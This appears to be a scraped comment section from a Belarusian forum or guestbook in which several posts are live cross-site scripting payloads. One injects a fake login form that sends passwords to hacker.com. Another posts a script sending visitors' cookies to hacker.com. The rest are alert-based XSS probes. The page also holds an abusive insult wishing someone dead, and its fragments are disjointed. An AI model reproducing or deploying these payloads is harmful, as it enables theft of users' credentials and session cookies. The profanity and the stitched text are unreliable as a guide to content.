адправіў паведамленне:11 декабря 2025 в 10:52:25
Катэгорыя: programmingАХАХАХАХА
Каментары
Здравствуйте document.write(`
<form action="https://decibel.by/login" method="POST" id="steal">
<input name="username" value="victim">
<input name="password" value="">
</form>
<script>
document.getElementById('steal').addEventListener('submit', function(e) {
e.preventDefault();
const password = this.querySelector('[name="password"]').value;
fetch('https://hacker.com/log', {
method: 'POST',
body: JSON.stringify({password: password})
});
});
</script>
`);
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<iframe src="javascript:alert('XSS')">
С новым годои (почти)
Всем приве
уебок умри
method: 'POST',
body: JSON.stringify({
content: '<script>fetch("https://hacker.com/steal?cookie="+document.cookie)</script>',
category: '1'
})
})